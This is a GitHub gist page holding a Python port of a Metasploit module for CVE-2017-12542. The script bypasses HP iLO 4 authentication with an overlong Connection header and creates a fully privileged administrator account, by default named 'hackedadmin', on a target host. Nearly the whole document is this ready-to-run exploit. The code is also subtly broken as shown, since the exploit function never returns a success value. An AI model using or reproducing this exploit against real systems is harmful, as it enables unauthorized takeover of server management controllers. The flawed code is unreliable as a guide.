Skip to content

Instantly share code, notes, and snippets.

@3lpsy
Last active August 3, 2022 19:07
Show Gist options
  • Save 3lpsy/a8ec3b2f800ab0461132394c999d4c93 to your computer and use it in GitHub Desktop.
Save 3lpsy/a8ec3b2f800ab0461132394c999d4c93 to your computer and use it in GitHub Desktop.
2017-12542: Create Admin Account HP ILO Exploit (Metasploit Port to Python)
import sys
import argparse
import requests
import random
import string
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
NAME = "'HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation'"
DESC = "This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer overflow in the Connection HTTP header handling by the web server. Exploiting this vulnerability gives full access to the REST API, allowing arbitrary accounts creation."
REFS = [
["CVE", "2017-12542"],
["BID", "100467"],
[
"URL",
"https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us",
],
[
"URL",
"https://www.synacktiv.com/posts/exploit/hp-ilo-talk-at-recon-brx-2018.html",
],
]
ORIGINAL_METASPLOIT_AUTHOR = 'Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>'
VERBOSE = False
DEBUG = False
def invalid_option(param, msg=None):
print("Invalid option for: " + str(param))
if msg:
print(msg)
sys.exit(1)
def rand_string(length):
"""Generate a random string of fixed length """
letters = string.ascii_lowercase
return "".join(random.choice(letters) for i in range(length))
def debug(*args, **kwargs):
global DEBUG
global VERBOSE
if DEBUG or VERBOSE:
print(*args, **kwargs)
def check(ip, port, path, no_ssl=False):
proto = "http" if no_ssl else "https"
url = f"{proto}://{ip}:{str(port)}{path}"
debug("Check Url:", url)
headers = {"Connection": rand_string(29)}
try:
debug("Connection String:", str(headers["Connection"]))
response = requests.get(url, headers=headers, verify=False)
except Exception as e:
reason = f"Exception Occurred: {str(e)}"
return False, reason
if int(response.status_code) == 200:
needle = '"Description":"iLO User Accounts"'
if needle in str(response.text):
reason = "Found Text: " + needle
return True, reason
else:
reason = "Failed to Find Text In Response: " + needle
return False, reason
else:
reason = "Incorrect Status Code During Check: " + str(response.status_code)
return False, reason
def exploit(ip, port, path, username, password, no_ssl=False):
proto = "http" if no_ssl else "https"
url = f"{proto}://{ip}:{str(port)}{path}"
data = {}
data["UserName"] = username
data["Password"] = password
data["Oem"] = {}
data["Oem"]["Hp"] = {}
data["Oem"]["Hp"]["LoginName"] = username
data["Oem"]["Hp"]["Privileges"] = {}
data["Oem"]["Hp"]["Privileges"]["LoginPriv"] = True
data["Oem"]["Hp"]["Privileges"]["RemoteConsolePriv"] = True
data["Oem"]["Hp"]["Privileges"]["UserConfigPriv"] = True
data["Oem"]["Hp"]["Privileges"]["VirtualMediaPriv"] = True
data["Oem"]["Hp"]["Privileges"]["VirtualPowerAndResetPriv"] = True
data["Oem"]["Hp"]["Privileges"]["iLOConfigPriv"] = True
headers = {"Connection": rand_string(29), "Content-Type": "application/json"}
try:
debug("Connection String:", str(headers["Connection"]))
response = requests.post(url, headers=headers, json=data, verify=False)
except Exception as e:
reason = f"Exception Occurred: {str(e)}"
return False, reason
if "InvalidPasswordLength" in str(response.text):
reason = f"Password {password} is too short."
return False, reason
if "UserAlreadyExist" in str(response.text):
reason = f"Unable to add login {username}, user already exists"
return False, reason
if int(response.status_code) != 201:
reason = f"Unknown error. Recieved non 201 response code"
return False, reason
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", action="store", type=str, help="target ip/host")
parser.add_argument(
"-p", "--port", action="store", type=int, default=443, help="target port"
)
parser.add_argument(
"--exploit-path",
action="store",
type=str,
default="/rest/v1/AccountService/Accounts",
help="the path to use to exploit (POST)",
)
parser.add_argument("--no-ssl", action="store_true", help="don't use ssl")
parser.add_argument(
"--check-path",
action="store",
type=str,
default="/rest/v1/AccountService/Accounts",
help="the path to use to check (GET)",
)
parser.add_argument("--no-check", action="store_true", help="don't check")
parser.add_argument("--check-only", action="store_true", help="only check")
parser.add_argument(
"-u",
"--username",
action="store",
type=str,
default="hackedadmin",
help="user to add",
)
parser.add_argument(
"-P", "--password", action="store", type=str, help="user password to add"
)
parser.add_argument("-D", "--debug", action="store_true", help="debug")
args = parser.parse_args()
ip = args.ip or invalid_option("ip", "Please provide a target.")
port = args.port
exploit_path = str(args.exploit_path)
no_ssl = bool(args.no_ssl)
check_path = str(args.check_path)
no_check = bool(args.no_check)
check_only = bool(args.check_only)
username = args.username
if args.debug:
DEBUG = True
if not no_check:
print("Checking...")
passed, reason = check(ip, port, check_path, no_ssl=no_ssl)
if not passed:
print("Check Failed")
print("Reason:", reason)
sys.exit(1)
else:
print("Check Passed")
if not check_only:
password = args.password or invalid_option(
"password", "Please provide a password"
)
print("Exploiting...")
passed, reason = exploit(
ip, port, exploit_path, username, password, no_ssl=no_ssl
)
if passed:
print(f"Account {username}/{password} created successfully.")
else:
print("Exploit Failed.")
print("Reason:", reason)
@3lpsy
Copy link
Author

3lpsy commented Nov 15, 2019

SSL was breaking so I ported the MSF Exploit Python so I could mess with it. Original Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment